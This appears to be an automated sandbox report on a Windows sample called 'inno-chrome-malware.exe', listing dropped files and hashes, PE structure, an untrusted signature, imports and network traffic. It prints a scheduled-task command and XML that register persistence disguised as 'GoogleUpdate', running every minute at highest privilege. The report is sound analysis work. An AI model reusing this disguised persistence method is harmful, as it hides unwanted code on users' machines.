SHA-512:	B529B58B4483408DA1FA7DD449F0374878717EADB810D34A4691F9336022D0660345BCC79B92A0C10D6C67EB052B0D27FEE847C9400898B501CD23229D166271
Malicious:	false
Preview:	schtasks.exe /Create /XML "C:\Users\user\AppData\Local\ServiceApp\reg.xml" /tn GoogleUpdate

C:\Users\user\AppData\Local\ServiceApp\reg.xml

Download File

Process:	C:\Users\user\AppData\Local\ServiceApp\InstallExtension.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1923
Entropy (8bit):	5.105973342041106
Encrypted:	false
SSDEEP:	48:cxOrpdE6Q4oL60uyqbzxIYODOLNdqBsu0b:o8da4d0uyqbzNdqBsua
MD5:	A5BF91083FC11E42E6F9C3E18C6F73CE
SHA1:	6306209D0D9C45F1D321E72424A748DC8A6DF5FE
SHA-256:	3FEEDA30C4AD4533EF8C8F38BB9BEEC63521100F08A454CA9FE30A35C4162CF7
SHA-512:	4E5646317013088CB7093087222B38EC1FDD2748DBE3121EBD1A854DCA4E49A44F1F11ED4B4EF14A5956D3A627AA44379D3C6EEE2281CE06522FABAC2BD4A517
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2022-11-11T20:23:14.4975841</Date>.. <URI>GoogleUpdate</URI>.. </RegistrationInfo>.. <Triggers>.. <CalendarTrigger>.. <Repetition>.. <Interval>PT1M</Interval>.. <Duration>P1D</Duration>.. <StopAtDurationEnd>false</StopAtDurationEnd>.. </Repetition>.. <StartBoundary>2022-11-11T20:19:58</StartBoundary>.. <Enabled>true</Enabled>.. <ScheduleByDay>.. <DaysInterval>1</DaysInterval>.. </ScheduleByDay>.. </CalendarTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>.. <StopIfGoingOnBa

C:\Users\user\AppData\Local\Temp\is-2IQD1.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp

Download File

Process:	C:\Users\user\Desktop\inno-chrome-malware.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3014144
Entropy (8bit):	6.394088808083813
Encrypted:	false
SSDEEP:	49152:QLJwSihjOb6GLb4SKEs3DyOMC2DlgwccAP8SOHxVkTE0:swSi0b67zeC/wccAP85H
MD5:	5CC651D1EED82AC69EC98EF51925D614
SHA1:	060CE174E841235F3986F234FC9905A1C8A4F0C5
SHA-256:	C4EBBD34C6F9DCB5631F64DE0AF07731F2BB643B3DA144A13252C2D9834A6D24
SHA-512:	C01499C9F25FF1D689C5D2925277C9F9C0C278FBE1CC893B6E014559DDF0F60A96F794CDABE70C31869B7D9769AB9D97520EED5C73884A8AF973E79579C7B97C
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....]_.................$,.........P6,......@,...@.......................................@......@....................-......`-.49....-.......................................................-......................i-.......-......................text...0.+.......+................. ..`.itext..t(....,..*....+............. ..`.data.......@,......(,.............@....bss.....x....,..........................idata..49...`-..:....,.............@....didata.......-.......,.............@....edata........-.......-.............@..@.tls....L.....-..........................rdata..].....-.......-.............@..@.rsrc.........-.......-.............@..@......................-.............@..@........................................................

C:\Users\user\AppData\Local\Temp\is-Q5POL.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9AV7V.tmp\inno-chrome-malware.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-UB3LA.tmp\inno-chrome-malware.tmp

Download File

Process:	C:\Users\user\Desktop\inno-chrome-malware.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3014144
Entropy (8bit):	6.394088808083813
Encrypted:	false
SSDEEP:	49152:QLJwSihjOb6GLb4SKEs3DyOMC2DlgwccAP8SOHxVkTE0:swSi0b67zeC/wccAP85H
MD5:	5CC651D1EED82AC69EC98EF51925D614
SHA1:	060CE174E841235F3986F234FC9905A1C8A4F0C5
SHA-256:	C4EBBD34C6F9DCB5631F64DE0AF07731F2BB643B3DA144A13252C2D9834A6D24
SHA-512:	C01499C9F25FF1D689C5D2925277C9F9C0C278FBE1CC893B6E014559DDF0F60A96F794CDABE70C31869B7D9769AB9D97520EED5C73884A8AF973E79579C7B97C
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....]_.................$,.........P6,......@,...@.......................................@......@....................-......`-.49....-.......................................................-......................i-.......-......................text...0.+.......+................. ..`.itext..t(....,..*....+............. ..`.data.......@,......(,.............@....bss.....x....,..........................idata..49...`-..:....,.............@....didata.......-.......,.............@....edata........-.......-.............@..@.tls....L.....-..........................rdata..].....-.......-.............@..@.rsrc.........-.......-.............@..@......................-.............@..@........................................................

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.4936933125951875
Encrypted:	false
SSDEEP:	3:hYFJAR+mQRKVxLZRtWcyn:hYFDaNZiRn
MD5:	1E2AC613338A8A1B2FAA866942CF7289
SHA1:	57BDF3D09C298EF7626707C60DFAC8E2E12B0405
SHA-256:	D676A2AE7C46320E1591C41EFF3848BBC49C6CD99B9B95FE4E43D6126E2799AA
SHA-512:	FA359C579CBC4994996634DBA18BA29187BC6742C34508D5C3F6530DC14D10807D6BBB8D95DF4225AE6F620B2B517069D0AC4DF8D757105D39FB6D302D570CFF
Malicious:	false
Preview:	..Waiting for 5 seconds, press a key to continue ....4.3.2.1.0..

Entrypoint:	0x4b5eec
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5F5DDFC3 [Sun Sep 13 09:00:51 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	5a594319a0d69dbc452e748bcf05892e

Signature Valid:	false
Signature Issuer:	CN=Entrust Extended Validation Code Signing CA - EVCS2, O="Entrust, Inc.", C=US
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	1/20/2023 6:55:52 PM 1/20/2024 6:55:49 PM
Subject Chain	CN=FTechnology Limited, SERIALNUMBER=12358796, OID.2.5.4.15=Private Organization, O=FTechnology Limited, OID.1.3.6.1.4.1.311.60.2.1.3=GB, L=Aylesbury, S=Buckinghamshire, C=GB
Version:	3
Thumbprint MD5:	395EBD1BBFE317E04C432527E04B4C7D
Thumbprint SHA-1:	8EF055874B2F22F2653A7FD0F7244EF26F48EE5D
Thumbprint SHA-256:	AC34FE6FC724E7EE00E0ABE5A90BC872FEC37709B02B86A912130746DD2A219E
Serial:	7986ABA0B6ECD2874892F915912D2E05

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xc4000	0x9a	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc2000	0xf36	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x4800	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x195e00	0x16a8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc6000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc22e4	0x244	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xc3000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb361c	0xb3800	False	0.3448639341051532	data	6.356058204328091	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xb5000	0x1688	0x1800	False	0.544921875	data	5.972750055221053	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xb7000	0x37a4	0x3800	False	0.36097935267857145	data	5.044400562007734	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xbb000	0x6de8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xc2000	0xf36	0x1000	False	0.3681640625	data	4.8987046479600425	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xc3000	0x1a4	0x200	False	0.345703125	data	2.7563628682496506	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xc4000	0x9a	0x200	False	0.2578125	data	1.8722228665884297	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xc5000	0x18	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xc6000	0x5d	0x200	False	0.189453125	data	1.3838943752217987	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc7000	0x4800	0x4800	False	0.3153754340277778	data	4.422606671102733	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Name	RVA	Size	Type	Language	Country
RT_ICON	0xc74c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Dutch	Netherlands
RT_ICON	0xc75f0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	Dutch	Netherlands
RT_ICON	0xc7b58	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Dutch	Netherlands
RT_ICON	0xc7e40	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	Dutch	Netherlands
RT_STRING	0xc86e8	0x360	data
RT_STRING	0xc8a48	0x260	data
RT_STRING	0xc8ca8	0x45c	data
RT_STRING	0xc9104	0x40c	data
RT_STRING	0xc9510	0x2d4	data
RT_STRING	0xc97e4	0xb8	data
RT_STRING	0xc989c	0x9c	data
RT_STRING	0xc9938	0x374	data
RT_STRING	0xc9cac	0x398	data
RT_STRING	0xca044	0x368	data
RT_STRING	0xca3ac	0x2a4	data
RT_RCDATA	0xca650	0x10	data
RT_RCDATA	0xca660	0x2c4	data
RT_RCDATA	0xca924	0x2c	data
RT_GROUP_ICON	0xca950	0x3e	data	English	United States
RT_VERSION	0xca990	0x584	data	English	United States
RT_MANIFEST	0xcaf14	0x726	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, LocalFree, CloseHandle, SizeofResource, VirtualProtect, VirtualFree, GetFullPathNameW, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVersion, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
advapi32.dll	RegQueryValueExW, AdjustTokenPrivileges, LookupPrivilegeValueW, RegCloseKey, OpenProcessToken, RegOpenKeyExW

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x454060
__dbk_fcall_wrapper	2	0x40d0a0
dbkFCallWrapperAddr	1	0x4be63c

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 8, 2023 00:05:47.935590982 CET	50911	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:05:47.936464071 CET	59683	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:05:47.937403917 CET	64167	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:05:47.963294983 CET	53	50911	8.8.8.8	192.168.2.4
Feb 8, 2023 00:05:47.967972040 CET	53	64167	8.8.8.8	192.168.2.4
Feb 8, 2023 00:05:47.979507923 CET	53	59683	8.8.8.8	192.168.2.4
Feb 8, 2023 00:05:49.149439096 CET	61007	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:05:49.169452906 CET	53	61007	8.8.8.8	192.168.2.4
Feb 8, 2023 00:05:50.275878906 CET	61124	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:05:50.297333956 CET	53	61124	8.8.8.8	192.168.2.4
Feb 8, 2023 00:05:51.264100075 CET	55570	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:05:51.282661915 CET	53	55570	8.8.8.8	192.168.2.4
Feb 8, 2023 00:05:51.285407066 CET	64906	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:05:51.314316988 CET	53	64906	8.8.8.8	192.168.2.4
Feb 8, 2023 00:05:51.540220022 CET	59446	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:05:51.569391966 CET	53	59446	8.8.8.8	192.168.2.4
Feb 8, 2023 00:05:55.712174892 CET	49750	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:05:55.753174067 CET	53	49750	8.8.8.8	192.168.2.4
Feb 8, 2023 00:05:58.349658012 CET	57300	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:05:58.379165888 CET	53	57300	8.8.8.8	192.168.2.4
Feb 8, 2023 00:06:06.041074038 CET	49735	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:06:06.042927027 CET	52437	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:06:06.070430040 CET	53	49735	8.8.8.8	192.168.2.4
Feb 8, 2023 00:06:06.082370996 CET	53	52437	8.8.8.8	192.168.2.4
Feb 8, 2023 00:06:13.915909052 CET	63093	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:06:13.944710970 CET	53	63093	8.8.8.8	192.168.2.4
Feb 8, 2023 00:06:13.987073898 CET	50433	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:06:14.017668962 CET	53	50433	8.8.8.8	192.168.2.4
Feb 8, 2023 00:06:15.552217007 CET	65133	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:06:15.580241919 CET	53	65133	8.8.8.8	192.168.2.4
Feb 8, 2023 00:06:24.942362070 CET	63746	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:06:24.944757938 CET	50622	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:06:24.960520983 CET	53	63746	8.8.8.8	192.168.2.4
Feb 8, 2023 00:06:24.964664936 CET	53	50622	8.8.8.8	192.168.2.4
Feb 8, 2023 00:06:26.355792999 CET	59818	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:06:26.373821974 CET	53	59818	8.8.8.8	192.168.2.4
Feb 8, 2023 00:06:27.137250900 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.141033888 CET	63229	443	192.168.2.4	142.250.180.174
Feb 8, 2023 00:06:27.159578085 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.162825108 CET	443	63229	142.250.180.174	192.168.2.4
Feb 8, 2023 00:06:27.175287962 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.175321102 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.176351070 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.176454067 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.176548958 CET	63229	443	192.168.2.4	142.250.180.174
Feb 8, 2023 00:06:27.178337097 CET	443	63229	142.250.180.174	192.168.2.4
Feb 8, 2023 00:06:27.178359032 CET	443	63229	142.250.180.174	192.168.2.4
Feb 8, 2023 00:06:27.197423935 CET	443	63229	142.250.180.174	192.168.2.4
Feb 8, 2023 00:06:27.197474003 CET	443	63229	142.250.180.174	192.168.2.4
Feb 8, 2023 00:06:27.197735071 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.197766066 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.199183941 CET	63229	443	192.168.2.4	142.250.180.174
Feb 8, 2023 00:06:27.217746973 CET	63229	443	192.168.2.4	142.250.180.174
Feb 8, 2023 00:06:27.218477011 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.238449097 CET	63229	443	192.168.2.4	142.250.180.174
Feb 8, 2023 00:06:27.239468098 CET	63229	443	192.168.2.4	142.250.180.174
Feb 8, 2023 00:06:27.240298033 CET	63229	443	192.168.2.4	142.250.180.174
Feb 8, 2023 00:06:27.240643978 CET	63229	443	192.168.2.4	142.250.180.174
Feb 8, 2023 00:06:27.241627932 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.241759062 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.242058992 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.260085106 CET	443	63229	142.250.180.174	192.168.2.4
Feb 8, 2023 00:06:27.260129929 CET	443	63229	142.250.180.174	192.168.2.4
Feb 8, 2023 00:06:27.262208939 CET	443	63229	142.250.180.174	192.168.2.4
Feb 8, 2023 00:06:27.263370037 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.263406038 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.263633013 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.266520023 CET	63229	443	192.168.2.4	142.250.180.174
Feb 8, 2023 00:06:27.271317005 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.282490969 CET	443	63229	142.250.180.174	192.168.2.4
Feb 8, 2023 00:06:27.282546997 CET	443	63229	142.250.180.174	192.168.2.4
Feb 8, 2023 00:06:27.282583952 CET	443	63229	142.250.180.174	192.168.2.4
Feb 8, 2023 00:06:27.291486979 CET	63229	443	192.168.2.4	142.250.180.174
Feb 8, 2023 00:06:27.292085886 CET	63229	443	192.168.2.4	142.250.180.174
Feb 8, 2023 00:06:27.298751116 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.302083969 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.302166939 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.302236080 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.302303076 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.302369118 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.302417994 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.302484989 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.303752899 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.303812981 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.303859949 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.313977003 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.314054012 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.314107895 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.314160109 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.314213037 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.337846041 CET	54044	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:06:27.338741064 CET	443	63229	142.250.180.174	192.168.2.4
Feb 8, 2023 00:06:27.344520092 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.361462116 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.365082979 CET	53	54044	8.8.8.8	192.168.2.4
Feb 8, 2023 00:06:27.416330099 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.417905092 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.438266039 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.440009117 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.442380905 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.454435110 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.454480886 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.454514027 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.455025911 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.455050945 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.455171108 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.481780052 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.501547098 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.533514977 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.533562899 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.533602953 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.533883095 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.534081936 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.534183979 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.580554008 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.602850914 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:06:27.620771885 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.621304035 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.625766993 CET	49684	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:06:27.642551899 CET	443	49684	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:43.939428091 CET	49600	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:07:43.939428091 CET	53622	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:07:43.959238052 CET	53	53622	8.8.8.8	192.168.2.4
Feb 8, 2023 00:07:43.960561037 CET	53	49600	8.8.8.8	192.168.2.4
Feb 8, 2023 00:07:44.129961967 CET	58355	53	192.168.2.4	8.8.8.8
Feb 8, 2023 00:07:44.151290894 CET	53	58355	8.8.8.8	192.168.2.4
Feb 8, 2023 00:07:45.428622961 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.450614929 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.452944040 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.466590881 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.466664076 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.467611074 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.474140882 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.474227905 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.477973938 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.485976934 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.486200094 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.486664057 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.507900000 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.507967949 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.508178949 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.508718967 CET	64159	443	192.168.2.4	142.250.184.100
Feb 8, 2023 00:07:45.525629044 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.525681019 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.525723934 CET	443	64159	142.250.184.100	192.168.2.4
Feb 8, 2023 00:07:45.525815010 CET	443	64159	142.250.184.100	192.168.2.4
